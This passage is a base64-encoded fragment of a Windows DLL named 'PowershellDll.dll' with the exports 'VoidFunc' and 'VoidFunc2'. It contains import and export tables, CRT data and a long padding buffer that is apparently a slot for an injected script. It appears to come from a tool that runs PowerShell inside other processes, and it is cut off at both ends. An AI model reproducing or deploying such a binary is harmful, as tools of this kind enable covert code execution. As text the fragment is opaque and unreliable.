pkYmcAAAB0MQEABAAAAC5ydGMkSUFBAAAAAHgxAQAEAAAALnJ0YyRJWloAAAAAfDEBAAQAAAAucnRjJFRBQQAAAACAMQEACAAAAC5ydGMkVFpaAAAAAIgxAQCIBgAALnhkYXRhJHgAAAAAEDgBAGQAAAAuZWRhdGEAAHQ4AQA8AAAALmlkYXRhJDIAAAAAsDgBABQAAAAuaWRhdGEkMwAAAADEOAEASAEAAC5pZGF0YSQ0AAAAAAw6AQAYBQAALmlkYXRhJDYAAAAAAEABAABaAAAuZGF0YQAAAACaAQC4AAAALmRhdGEkcgC4mgEACAoAAC5ic3MAAAAAALABAGAAAAAucnNyYyQwMQAAAABgsAEAgAEAAC5yc3JjJDAyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/////7DRABAiBZMZAQAAAIgxARAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAiBZMZBgAAANgxARAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////4NEAEAAAAADo0QAQAQAAAPDRABACAAAA+NEAEAMAAAAA0gAQBAAAAAjSABAiBZMZBgAAACwyARAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////QNIAEAAAAABI0gAQAAAAAFfSABACAAAAX9IAEAMAAABn0gAQBAAAAG/SABAAAAAA5P///wAAAADI////AAAAAP7///+QGgAQlhoAEAAAAADgGwAQAAAAAIwyARABAAAAlDIBEAAAAAAAmgEQAAAAAP////8AAAAAEAAAAFAbABD+////AAAAAND///8AAAAA/v///wAAAAApHgAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAK4eABAAAAAA/v///wAAAADU////AAAAAP7///+DHwAQoh8AEAAAAAD+////AAAAANj///8AAAAA/v///5UiABCoIgAQAAAAAN81ABAAAAAAPDMBEAIAAABIMwEQZDMBEBAAAAA0mgEQAAAAAP////8AAAAADAAAAMckABAAAAAAUJoBEAAAAAD/////AAAAAAwAAAAtJQAQAAAAAN81ABAAAAAAkDMBEAMAAACgMwEQSDMBEGQzARAAAAAAbJoBEAAAAAD/////AAAAAAwAAAD6JAAQAAAAAP7///8AAAAA2P///wAAAAD+////fS4AEIYuABAAAAAA/v///wAAAADY////AAAAAP7///+sPgAQsD4AEAAAAAD+////AAAAAND///8AAAAA/v///wAAAACYQAAQAAAAAF1AABBnQAAQ/v///wAAAACo////AAAAAP7///8AAAAARDcAEAAAAACZNgAQozYAEEAAAAAAAAAAAAAAAOs3ABD/////AAAAAP////8AAAAAAAAAAAAAAAABAAAAAQAAAFA0ARAiBZMZAgAAAGA0ARABAAAAcDQBEAAAAAAAAAAAAAAAAAEAAAD+////AAAAAND///8AAAAA/v///9M/ABDXPwAQAAAAAN81ABAAAAAA1DQBEAIAAADgNAEQZDMBEAAAAACUmgEQAAAAAP////8AAAAADAAAAKw1ABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAQ08AEAAAAADk////AAAAANT///8AAAAA/v///wAAAACdUgAQAAAAAIVSABCVUgAQ/v///wAAAADU////AAAAAP7///8AAAAAHlkAEAAAAAD+////AAAAANT///8AAAAA/v///wAAAABvWQAQAAAAAOT///8AAAAA1P///wAAAAD+////R14AEEteABAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAcmIAEAAAAAD+////AAAAANj///8AAAAA/v///wAAAAB+YQAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAN9hABAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAKmIAEAAAAAD+////AAAAANT///8AAAAA/v///wAAAACPdwAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAEByABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAon0AEAAAAADk////AAAAALT///8AAAAA/v///wAAAACigQAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAPV+ABAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAmYUAEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAD1iAAQAAAAAP7///8AAAAAzP///wAAAAD+////AAAAAP+VABAAAAAA/v///wAAAADE////AAAAAP7///8AAAAAJJkAEAAAAAAAAAAA95gAEP7///8AAAAA0P///wAAAAD+////AAAAAACaABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAeZ0AEAAAAAD+////AAAAAMz///8AAAAA/v///wAAAABrpAAQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAJ+qABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAJ7cAEAAAAAD+////AAAAANj///8AAAAA/v////nFABAMxgAQAAAAAAAAAAD/////AAAAAEw4AQABAAAAAgAAAAIAAAA4OAEAQDgBAEg4AQBgGQAAcBkAAF44AQBnOAEAAAABAFBvd2Vyc2hlbGxEbGwuZGxsAFZvaWRGdW5jAFZvaWRGdW5jMgAAAADEOAEAAAAAAAAAAABwOgEAAOAAANg5AQAAAAAAAAAAAH46AQAU4QAABDoBAAAAAAAAAAAAmDoBAEDhAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAw6AQAiOgEAOjoBAEo6AQBcOgEAFj8BAAY/AQD2PgEA6D4BANQ+AQDCPgEAsj4BAJ4+AQCSPgEAgj4BAKQ6AQC0OgEAyjoBAOA6AQDsOgEACDsBACY7AQA6OwEATjsBAGo7AQCEOwEAmjsBALA7AQDKOwEA4DsBAPQ7AQAGPAEAEjwBACQ8AQA8PAEATDwBAFw8AQB0PAEAjDwBAKQ8AQDMPAEA2DwBAOY8AQD0PAEA/jwBAAw9AQAePQEALD0BAEI9AQBOPQEAWj0BAGo9AQB2PQEAij0BAJo9AQCsPQEAtj0BAMI9AQDOPQEA4D0BAPI9AQAMPgEAJj4BADg+AQBIPgEAVj4BAGg+AQB0PgEAAAAAABAAAIAIAACAFgAAgAYAAIACAACAGgAAgA8AAICbAQCACQAAgBUAAIAAAAAAjDoBAAAAAAATAkdldE1vZHVsZUZpbGVOYW1lQQAA6wJJbnRlcmxvY2tlZERlY3JlbWVudAAAPwNMb2FkTGlicmFyeVcAAEUCR2V0UHJvY0FkZHJlc3MAABgCR2V0TW9kdWxlSGFuZGxlVwAAS0VSTkVMMzIuZGxsAABPTEVBVVQzMi5kbGwAAEQBU3RyU3RySUEAAFNITFdBUEkuZGxsAAICR2V0TGFzdEVycm9yAABnA011bHRpQnl0ZVRvV2lkZUNoYXIAEQVXaWRlQ2hhclRvTXVsdGlCeXRlAEgDTG9jYWxGcmVlANMEVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAAClBFNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgDAAUdldEN1cnJlbnRQcm9jZXNzAMAEVGVybWluYXRlUHJvY2VzcwAABANJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50AKcDUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIAwQFHZXRDdXJyZW50UHJvY2Vzc0lkAMUBR2V0Q3VycmVudFRocmVhZElkAAB5AkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lAOcCSW5pdGlhbGl6ZVNMaXN0SGVhZAAAA0lzRGVidWdnZXJQcmVzZW50AGMCR2V0U3RhcnR1cEluZm9XABgEUnRsVW53aW5kALEDUmFpc2VFeGNlcHRpb24AAO4CSW50ZXJsb2NrZWRGbHVzaFNMaXN0AHMEU2V0TGFzdEVycm9yAADqAEVuY29kZVBvaW50ZXIA7gBFbnRlckNyaXRpY2FsU2VjdGlvbgAAOQNMZWF2ZUNyaXRpY2FsU2VjdGlvbgAA0QBEZWxldGVDcml0aWNhbFNlY3Rpb24A4wJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50AMUEVGxzQWxsb2MAAMcEVGxzR2V0VmFsdWUAyARUbHNTZXRWYWx1ZQDGBFRsc0ZyZWUAYgFGcmVlTGlicmFyeQA+A0xvYWRMaWJyYXJ5RXhXAAAZAUV4aXRQcm9jZXNzABcCR2V0TW9kdWxlSGFuZGxlRXhXAADPAkhlYXBGcmVlAADLAkhlYXBBbGxvYwAtA0xDTWFwU3RyaW5nVwAALgFGaW5kQ2xvc2UAMwFGaW5kRmlyc3RGaWxlRXhBAABDAUZpbmROZXh0RmlsZUEACgNJc1ZhbGlkQ29kZVBhZ2UAaAFHZXRBQ1AAADcCR2V0T0VNQ1AAAHIBR2V0Q1BJbmZvAIYBR2V0Q29tbWFuZExpbmVBAIcBR2V0Q29tbWFuZExpbmVXANoBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAYQFGcmVlRW52aXJvbm1lbnRTdHJpbmdzVwBKAkdldFByb2Nlc3NIZWFwAABkAkdldFN0ZEhhbmRsZQAA8wFHZXRGaWxlVHlwZQBpAkdldFN0cmluZ1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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHBDARAAAAAAsPgAEAEAAAAAAAAAAQAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWEYBEAAAAAAAAAAAAAAAAFhGARAAAAAAAAAAAAAAAABYRgEQAAAAAAAAAAAAAAAAWEYBEAAAAAAAAAAAAAAAAFhGARAAAAAAAAAAAAAAAAAAAAAAAAAAACBHARAAAAAAAAAAADD7ABCw/AAQSPYAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJhFARBwQwEQQwAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7///8uAAAALgAAAAAAAAAURwEQnKQBEJykARCcpAEQnKQBEJykARCcpAEQnKQBEJykARCcpAEQf39/f39/f38YRwEQoKQBEKCkARCgpAEQoKQBEKCkARCgpAEQoKQBEP7///8AAAAAAAAAAAAAAABBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQ